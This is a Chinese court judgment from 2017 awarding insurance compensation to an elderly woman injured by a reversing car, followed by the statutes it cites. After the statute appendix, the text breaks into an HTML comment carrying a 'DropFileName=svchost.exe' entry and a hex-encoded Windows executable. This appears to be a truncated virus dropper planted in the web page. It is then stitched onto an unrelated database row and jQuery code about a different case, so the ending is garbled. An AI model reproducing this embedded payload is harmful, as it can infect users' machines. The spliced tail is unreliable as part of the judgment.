海南省东方市人民法院
p t ; ” > 民 事 判 决 书
（2017）琼9007民初1843号
原告：庄成兰，女，汉族，1945年9月14日出生，海南省东方市人，住该市，公民身份号码：×××。
委托诉讼代理人：文友亮，东方市148法律事务所法律工作者。
被告：张云侠，女，汉族，1971年11月28日出生，黑龙江省肇源县人，住海南省东方市，公民身份号码：×××。
被告：中国人民财产保险股份有限公司大庆市分公司，住所地：黑龙江省大庆市高新区科新街一号。
负责人：赵汉杰，系该公司经理。
委托诉讼代理人：李亚男，黑龙江百湖律师事务所律师。
原告庄成兰诉被告张云侠、中国人民财产保险股份有限公司大庆市分公司（以下简称人保大庆公司）机动车交通事故责任纠纷一案，本院立案后，依法适用简易程序，公开开庭进行了审理。原告庄成兰的委托诉讼代理人文友亮、被告张云侠、人保大庆公司的委托诉讼代理人李亚男到庭参加了诉讼。本案现已审理终结。
原告庄成兰向本院提出诉讼请求：1、依法判令被告张云侠赔偿原告庄成兰因交通事故造成的各项经济损失共计人民币178791.69元；2、判令被告人保大庆公司在机动车第三者责任强制保险责任限额内及第三者责任商业保险责任限额内先行赔偿原告庄成兰的各项经济损失。事实和理由：2016年1月10日上午，被告张云侠驾驶×××号小型轿车在海南省东方市××镇实施倒车。因在倒车时未注意观察后方情况，致使该车辆碰撞到正在自家门前打扫卫生的原告庄成兰，造成原告庄成兰受伤的道路交通事故。原告庄成兰受伤后，当日被送往海南省东方市人民医院抢救治疗（该医疗费用已由被告张云侠垫付）。因伤势严重，当夜转往海南省人民医院住院治疗23天，花费医疗费共计91583.99元。原告庄成兰在住院期间，被告张云侠先后垫付了48000元，剩余医疗费及其他费用均由原告庄成兰支付。2016年2月28日，海南省东方市公安局交通警察大队作出《道路交通事故认定书》，认定被告张云侠承担本案道路交通事故的全部责任，原告庄成兰无责任。2017年1月3日，海南医学院法医鉴定中心对原告庄成兰的伤残等级、后续治疗费及三期评定作出鉴定，经评定：原告庄成兰因交通事故致腰部损伤构成十级伤残；后续治疗费用需18000元；三期综合评定为休息期180日，护理期90日，营养期90日。被告张云侠驾驶的肇事车辆在被告人保大庆公司处投保了机动车第三者责任强制保险及第三者责任商业保险，该交通事故发生在保险期限内。
原告庄成兰认为，根据《中华人民共和国侵权责任法》第十六条之规定。原告庄成兰因交通事故造成受伤所形成的损失范围包括：1、医疗费89421.23元，复查门诊费为1462.76元；2、误工费，原告庄成兰的休息期评定为180日，参照2016年度海南省道路交通事故赔偿标准”居民服务、修理和其他服务业”27629元/年计算，误工费为75元/天×180天=13500元；3、护理费，原告庄成兰的护理期评定为90日，参照当地护工从事同等级别护理的劳动报酬标准计算，护理费为100元/天×90天=9000元；4、营养费，原告庄成兰的营养期评定为90日，按照每天50元计算，营养费为90天×50元/天=4500元；5、住院伙食补助费，原告庄成兰住院的实际天数为24天，按照每天100元计算，住院伙食补助费为24天×100元/天=2400元；6、残疾赔偿金，原告庄成兰的伤残经鉴定机构评定为十级伤残，交通事故发生时，原告已年满71岁。按受诉法院所在地上一年度城镇居民人均可支配收入标准28453元/年计算，残疾赔偿金为28453元/年×9年×10%=25607.7元；7、交通费为2000元；8、后续治疗费为18000元；9、精神损害抚慰金为10000元；10、司法鉴定费为2900元。上述赔偿项目合计178791.69元，均属于机动车交通事故责任强制保险限额的赔偿项目。根据《中华人民共和国道路交通安全法》第七十六条、《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条之规定。原告庄成兰的损失首先应由被告人保大庆公司在机动车第三者责任强制保险及第三者责任商业保险限额范围内承担赔偿责任。不足部分，由被告张云侠承担赔偿责任。
综上所述，为了维护原告庄成兰的合法权益，特向贵院依法提起诉讼，请求人民法院依法判决，支持原告庄成兰的上述请求。
被告张云侠辩称：原告庄成兰的各项经济损失全部由被告人保大庆公司来赔偿。
被告人保大庆公司辩称：×××号小型轿车在被告人保大庆公司处投保第三者责任强制保险和保险限额为1000000元的第三者责任商业保险及不计免赔率，事故发生在保险有效期间内，被告人保大庆公司同意在合理范围内承担原告庄成兰的损失，对于原告庄成兰主张的医疗费以及被告张云侠垫付的医疗费同意在医保范围内承担。因原告庄成兰是农村户口，各项赔偿标准应当按照农村标准支持，事故发生时，原告已年满71周岁，故不存在误工费的发生。交通费，被告人保大庆公司只同意承担原告庄成兰就医以及出院时所产生的普通交通费用。因原告伤残等级为最低的十级，故精神损害抚慰金，被告人保大庆公司同意承担2000元。根据机动车第三者责任强制保险条款及第三者责任商业保险合同的约定，被告人保大庆公司不承担本案的诉讼费用和鉴定费用。
本院经审理认定事实如下：2016年1月10日上午，被告张云侠驾驶灯光系机件不符合技术标准的×××号小型轿车（所有权人系被告张云侠）在海南省东方市××镇实施倒车。9时12分，因被告张云侠未注意观察后方情况，致使该车碰撞到正在自家门前打扫卫生的原告庄成兰，造成原告庄成兰受伤及车辆损坏的道路交通事故。海南省东方市公安局交通警察大队作出东公交认字[2016]第00005号《道路交通事故认定书》，认定被告张云侠承担本案道路交通事故的全部责任，原告庄成兰无责任。事故发生后，原告庄成兰当日被送往海南省东方市人民医院住院治疗，于2016年1月11日出院，实际住院1天，支出医疗费2974.25元（517.35元+1671.9元+304元+315元+16元+150元）。原告庄成兰出院后，当日转入海南省人民医院继续住院治疗，于2016年2月3日出院，实际住院23天，支出医疗费89978.73元（89421.23元+459.42元+90.18元+7.9元）。自2016年3月15日至2016年7月18日期间，在海南省人民医院医疗门诊支出1389元（164.4元+152.6元×3+500元+266.8元）。以上医疗费合计94341.98元（2974.25元+89978.73元+1389元）。海南省人民医院法医鉴定中心受海南省东方市公安局交通警察大队委托对原告庄成兰伤残等级、后续治疗费及”三期”进行评估鉴定，于2017年1月3日作出琼省医鉴[2016]临鉴字第339号《鉴定意见书》，鉴定意见：1.被鉴定人庄成兰因交通事故致腰部损伤构成十级伤残；2.被鉴定人庄成兰后续治疗费用约需18000元；3.被鉴定人庄成兰”三期”综合评定为：休息期180日、营养期90日、护理期90日。×××号小型轿车在被告人保大庆公司处投保了机动车第三者责任强制保险、第三者责任商业保险及不计免赔，交强险的有责任死亡伤残赔偿限额为110000元、有责任医疗费用赔偿限额为10000元、有责任财产损失赔偿限额为2000元。第三者责任商业保险限额为1000000元。机动车第三者责任强制保险、第三者责任商业保险期间分别自2015年8月27日起至2016年8月27日止和2015年8月28日起至2016年8月27日止，事故发生在保险有效期内。发生本案道路交通事故时，原告庄成兰已居住在其儿子王禹海位于海南省××镇号房一年以上。原告庄成兰于1945年9月14日出生，户口性质系农业家庭户口。
庭审中原告庄成兰变更第1项诉讼请求如下：依法判令被告张云侠赔偿原告因交通事故造成的各项经济损失共计人民币182323.44元。（针对东方市人民医院的医疗费增加2974.25元及海南省人民医院的医疗费增加557.5）
本院所确认的上述事实，有原告庄成兰提供的东公交认字[2016]第00005号《道路交通事故认定书》、海南省东方市人民医院住院收费专用票据、医疗门诊收费票据、海南省人民医院住院病案首页、出院记录、住院病人费用清单、住院收费票据、医疗门诊收费票据、鉴定费票据、《证明》、国有土地使用证、房屋所有权证、常住人口登记卡、琼省医鉴[2016]临鉴字第339号《鉴定意见书》，被告张云侠提供的海南省人民医院预收款收据、120救护车车费收据，被告人保大庆公司提供的机动车保险报案记录（代抄单）及原、被告双方当事人的开庭陈述笔录等材料在案为凭，这些证据材料在开庭过程中经原、被告双方当事人的举证、质证和本院的审查，来源合法，内容客观真实，可以采信。
本院认为，公民的生命健康权受法律保护，因侵害人的侵权行为导致他人人身伤亡的，侵害人应当赔偿受害人为此遭受的经
济损失。此次道路交通事故经交警部门认定，被告张云侠承担本案道路交通事故的全部责任，原告庄成兰无责任。该事故责任认定程序合法、结论正确，且原、被告对事故的经过和责任的划分均无异议，应予采信。由于事故发生时，被告张云侠驾驶的×××号小型轿车在被告人保大庆公司处投保了机动车第三者责任强制保险、第三者责任商业保险及不计免赔。根据《中华人民共和国道路交通安全法》第七十六条”机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿;不足的部分，按照下列规定承担赔偿责任：(一)机动车之间发生交通事故的，由有过错的一方承担赔偿责任;双方都有过错的，按照各自过错的比例分担责任。”和《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条”同时投保机动车第三者责任强制保险和第三者责任商业保险的机动车发生交通事故造成损害，当事人同时起诉侵权人和保险公司的，人民法院应当按照下列规则确定赔偿责任：（一）先由承保交强险的保险公司在责任限额范围内予以赔偿；（二）不足部分，由承保商业三者险的保险公司根据保险合同予以赔偿；（三）仍有不足的，依照道路交通安全法和侵权责任法的相关规定由侵权人予以赔偿。被侵权人或者其近亲属请求承保交强险的保险公司优先赔偿精神损害的，人民法院应予支持。”的规定，原告庄成兰因本案道路交通事故受伤造成的各项经济损失，首先应由被告人保大庆公司在机动车第三者责任强制保险责任限额范围内赔偿，不足部分，由被告人保大庆公司根据保险合同按事故责任承担全部的赔偿责任。本案原告庄成兰的合理损失参照海南省公安厅交通警察总队《2017年度海南省道路交通事故人身损害赔偿项目和计算标准》予以计算，具体认定为：1.医疗费为94341.98元，原告庄成兰提供的海南省眼科医疗门诊收费票据与本案不存在关联性，本院不予认可。因此，原告庄成兰主张多余的部分，本院不予认可；2.误工费，发生本案道路交通事故时，原告庄成兰年龄已达70周岁，且其没有提供误工证明，故本院对其主张误工费不予支持；3.护理费，原告庄成兰没有提供护理人员的身份及收入证明，故其护理费应参照上一年度海南农、林、牧、渔业的平均工资计算。结合琼省医鉴[2016]临鉴字第339号《鉴定意见书》，原告庄成兰护理期评定为90天，护理费为6841.97元（参照上一年度海南省农、林、牧、渔业的平均工资27748元/年÷365天×90天），原告庄成兰主张多余的部分，本院不予支持；4.营养费，结合琼省医鉴[2016]临鉴字第339号《鉴定意见书》，原告庄成兰营养期评定为90天，本院酌定原告庄成兰营养费50元/天，营养费为4500元（50元/天×90天）；5.住院伙食补助费，原告庄成兰实际住院24天（1天+23天），住院伙食补助费为2400元（参照海南省国家机关一般工作人员的出差伙食补助100元/天×24天）；6.残疾赔偿金，发生本案道路交通事故时，原告庄成兰已居住在其儿子王禹海位于海南省××镇号房一年以上，且自定残之日起，年龄已达71周岁。原告庄成兰的户口性质虽为农业家庭户口，但其居住和消费均在城镇，应当参照城镇居民家庭人均可支配收入计算残疾赔偿金。结合琼省医鉴[2016]临鉴字第339号《鉴定意见书》，原告庄成兰受伤评定为十级伤残,残疾赔偿金为25607.7元[参照海南省上一年度城镇居民家庭人均可支配收入28453元/年×（20-11）年×10%]。被告人保大庆公司辩解因原告庄成兰是农村户口，各项赔偿标准应当按照农村标准支持的意见，于法无据，本院不予采纳；7.交通费，原告庄成兰虽未提供具体交通费票据，但此项费用必然发生，本院酌定交通费为1000元。原告庄成兰主张多余的部分，本院不予支持；8.后续治疗费为18000元，有琼省医鉴[2016]临鉴字第339号《鉴定意见书》为凭；9.精神损害抚慰金为5000元；10、司法鉴定费为2900元（2200元+700元）。以上损失扣除司法鉴定费后合计157691.65元(94341.98元+6841.97元+4500元+2400元+25607.7元+1000元+18000元+5000元)。被告人保大庆公司在机动车第三者责任强制保险责任限额范围内赔偿原告庄成兰48449.67元（其中医疗费、后续治疗费、住院伙食补助费、营养费共10000元，残疾赔偿金、护理费、交通费、精神损害抚慰金共38449.67元）。剩余的109241.98元（157691.65元-48449.67元），由被告人保大庆公司根据保险合同按事故责任承担全部的赔偿责任。鉴定费2900元，由被告张云侠按事故责任承担全部的赔偿责任。由于被告张云侠已向原告庄成兰垫付了51000元，原告庄成兰尚需返还被告张云侠48100元（51000元-2900元）。为了减少诉累，原告庄成兰尚需返还被告张云侠的48100元，由被告人保大庆公司在赔付给原告庄成兰的款额中扣除，直接向被告张云侠支付。据此，原告庄成兰主张被告人保大庆公司在机动车第三者责任强制保险责任限额内及第三者责任商业保险责任限额内先行赔偿其各项经济损失的诉请，有事实根据和法律依据，本院予以支持。但其主张误工费于法无据，本院不予支持，应予驳回。
依照《中华人民共和国侵权责任法》第六条第一款、第十六条、第二十二条、第四十八条，《中华人民共和国道路交通安全法》第七十六条，《中华人民共和国民事诉讼法》第六十四条，《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十四条、第十六条，《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十七条、第十八条、第十九条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条，《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第九十条，《最高人民法院关于民事诉讼证据的若干规定》第二条之规定，判决如下：
一、被告中国人民财产保险股份有限公司大庆市分公司于本判决发生法律效力之日起15日内在机动车第三者责任强制保险责任限额范围内赔偿原告庄成兰各项经济损失共计人民币48449.67元（在履行时，被告中国人民财产保险股份有限公司大庆市分公司从在机动车第三者责任强制保险责任限额范围内赔偿原告庄成兰的人民币48449.67元中，支付给被告张云侠48100元，剩余的349.67元，直接支付给原告庄成兰）；
二、被告中国人民财产保险股份有限公司大庆市分公司于本判决发生法律效力之日起15日内在机动车第三者责任商业保险的责任限额范围内赔偿原告庄成兰109241.98元；
三、驳回原告庄成兰的其它诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
案件受理费993.96元（原告已申请免交），免交。
如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于海南省第二中级人民法院。
审判员刘山石
二〇一七年九月二十日
书记员林茹
附：适用本案的法律条文内容
《中华人民共和国侵权责任法》
第六条行为人因过错侵害他人民事权益，应当承担侵权责任。
根据法律规定推定行为人有过错，行为人不能证明自己没有过错的，应当承担侵权责任。
第十六条侵害他人造成人身损害的，应当赔偿医疗费、护理费、交通费等为治疗和康复支出的合理费用，以及因误工减少的收入。造成残疾的，还应当赔偿残疾生活辅助具费和残疾赔偿
金。造成死亡的，还应当赔偿丧葬费和死亡赔偿金。
第二十二条侵害他人人身权益，造成他人严重精神损害的，被侵权人可以请求精神损害赔偿。
第四十八条机动车发生交通事故造成损害的，依照道路交通安全法的有关规定承担赔偿责任。
《中华人民共和国道路交通安全法》
第七十六条机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿;不足的部分，按照下列规定承担赔偿责任：
(一)机动车之间发生交通事故的，由有过错的一方承担赔偿责任;双方都有过错的，按照各自过错的比例分担责任。
(二)机动车与非机动车驾驶人、行人之间发生交通事故，非机动车驾驶人、行人没有过错的，由机动车一方承担赔偿责任;有证据证明非机动车驾驶人、行人有过错的，根据过错程度适当减轻机动车一方的赔偿责任;机动车一方没有过错的，承担不超过百分之十的赔偿责任。
交通事故的损失是由非机动车驾驶人、行人故意碰撞机动车造成的，机动车一方不承担赔偿责任。
《中华人民共和国民事诉讼法》
第六十四条当事人对自己提出的主张，有责任提供证据。
当事人及其诉讼代理人因客观原因不能自行收集的证据，或者人民法院认为审理案件需要的证据，人民法院应当调查收集。
人民法院应当按照法定程序，全面地、客观地审查核实证据。
《最高人民法院关于审理道路交通事故损害赔偿案件适用法律
若干问题的解释》
第十四条道路交通安全法第七十六条规定的”人身伤亡”，是指机动车发生交通事故侵害被侵权人的生命权、健康权等人身权益所造成的损害，包括侵权责任法第十六条和第二十二条规定的各项损害。
道路交通安全法第七十六条规定的”财产损失”，是指因机动车发生交通事故侵害被侵权人的财产权益所造成的损失。
第十六条同时投保机动车第三者责任强制保险（以下简称”交强险”）和第三者责任商业保险（以下简称”商业三者险”）的机动车发生交通事故造成损害，当事人同时起诉侵权人和保险公司的，人民法院应当按照下列规则确定赔偿责任：
（一）先由承保交强险的保险公司在责任限额范围内予以赔偿；
（二）不足部分，由承保商业三者险的保险公司根据保险合同予以赔偿；
（三）仍有不足的，依照道路交通安全法和侵权责任法的相关规定由侵权人予以赔偿。
被侵权人或者其近亲属请求承保交强险的保险公司优先赔偿精神损害的，人民法院应予支持。
《最高人民法院关于审理人身损害赔偿案件适用法律若干
问题的解释》
第十七条受害人遭受人身损害，因就医治疗支出的各项费用以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费，赔偿义务人应当予以赔偿。
受害人因伤致残的，其因增加生活上需要所支出的必要费用以及因丧失劳动能力导致的收入损失，包括残疾赔偿金、残疾辅助器具费、被扶养人生活费，以及因康复护理、继续治疗实际发生的必要的康复费、护理费、后续治疗费，赔偿义务人也应当予以赔偿。
受害人死亡的，赔偿义务人除应当根据抢救治疗情况赔偿本条第一款规定的相关费用外，还应当赔偿丧葬费、被扶养人生活费、死亡补偿费以及受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用。
第十八条受害人或者死者近亲属遭受精神损害，赔偿权利人向人民法院请求赔偿精神损害抚慰金的，适用《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》予以确定。
精神损害抚慰金的请求权，不得让与或者继承。但赔偿义务人已经以书面方式承诺给予金钱赔偿，或者赔偿权利人已经向人民法院起诉的除外。
第十九条医疗费根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。赔偿义务人对治疗的必要性和合理性有异议的，应当承担相应的举证责任。
医疗费的赔偿数额，按照一审法庭辩论终结前实际发生的数额确定。器官功能恢复训练所必要的康复费、适当的整容费以及其他后续治疗费，赔偿权利人可以待实际发生后另行起诉。但根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。
第二十一条护理费根据护理人员的收入状况和护理人数、护理期限确定。
护理人员有收入的，参照误工费的规定计算；护理人员没有收入或者雇佣护工的，参照当地护工从事同等级别护理的劳务报酬标准计算。护理人员原则上为一人，但医疗机构或者鉴定机构有明确意见的，可以参照确定护理人员人数。
护理期限应计算至受害人恢复生活自理能力时止。受害人因残疾不能恢复生活自理能力的，可以根据其年龄、健康状况等因素确定合理的护理期限，但最长不超过二十年。
受害人定残后的护理，应当根据其护理依赖程度并结合配制残疾辅助器具的情况确定护理级别。
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。
第二十三条住院伙食补助费可以参照当地国家机关一般工作人员的出差伙食补助标准予以确定。
第二十四条营养费根据受害人伤残情况参照医疗机构的意见确定。
第二十五条残疾赔偿金根据受害人丧失劳动能力程度或者伤残等级，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，自定残之日起按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
受害人因伤致残但实际收入没有减少，或者伤残等级较轻但造成职业妨害严重影响其劳动就业的，可以对残疾赔偿金作相应调整。
《最高人民法院关于适用〈中华人民共和国民事诉讼法〉
的解释》
第九十条当事人对自己提出的诉讼请求所依据的事实或者反驳对方诉讼请求所依据的事实，应当提供证据加以证明，但法律另有规定的除外。
在作出判决前，当事人未能提供证据或者证据不足以证明其事实主张的，由负有举证证明责任的当事人承担不利的后果。
《最高人民法院关于民事诉讼证据的若干规定》
第二条当事人对自己提出的诉讼请求所依据的事实或者反驳对方诉讼请求所依据的事实有责任提供证据加以证明。
没有证据或者证据不足以证明当事人的事实主张的，由负有举
证责任的当事人承担不利后果。
国务院《诉讼费用交纳办法》
第四十五条当事人申请司法救助，符合下列情形之一的，人民法院应当准予免交诉讼费用：
（一）残疾人无固定生活来源的；
（二）追索赡养费、扶养费、抚育费、抚恤金的；
（三）最低生活保障对象、农村特困定期救济对象、农村五保供养对象或者领取失业保险金人员，无其他收入的；
（四）因见义勇为或者为保护社会公共利益致使自身合法权益受到损害，本人或者其近亲属请求赔偿或者补偿的；
（五）确实需要免交的其他情形。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E0010000100000000','2018-09-29
18:15:01',0,'web',NULL),(31403096,'f53dd9fa-7cb2-48dd-
bb0d-a85f012df8fd','$(function(){$(\"#con_llcs\").html(\"浏览：0次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"771\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"\",\"案号\":\"（2017）黑0826执958号\",\"不公开理由\":\"\",\"法院地市\":\"佳木斯市\",\"法院省份\":\"黑龙江\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"f53dd9fa-7cb2-48dd-
bb0d-a85f012df8fd\",\"案件名称\":\"杨俊兴与任宝库监护人责任纠纷一审执行裁定书\",\"法院名称\":\"桦川县人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"桦川县\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"本院在执行申请执行人杨俊兴与被执行人任宝库监护人责任纠纷一案中，经查被执行人任宝库现无可供执行财产\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1515081600000)\\\/\",\"案件类型\":\"5\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"杨俊兴与任宝库监护人责任纠纷一审执行裁定书\");$(\"#tdSource\").html(\"杨俊兴与任宝库监护人责任纠纷一审执行裁定书
（2017）黑0826执958号\");$(\"#hidDocID\").val(\"f53dd9fa-7cb2-48dd-
bb0d-a85f012df8fd\");$(\"#hidCaseName\").val(\"杨俊兴与任宝库监护人责任纠纷一审执行裁定书\");$(\"#hidCaseNumber\").val(\"（2017）黑0826执958号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"桦川县人民法院\");$(\"#hidCaseType\").val(\"5\");$(\"#HidCourtID\").val(\"771\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"桦川县人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"执行案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"裁判日期\", key: \"trialDate\", value: \"2017-12-05\" },{ name:
\"当事人\", key: \"appellor\", value: \"杨俊兴,任宝库\" }],LegalBase: []};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"杨俊兴与任宝库监护人责任纠纷一审执行裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-01-05\\\\\",\\\\\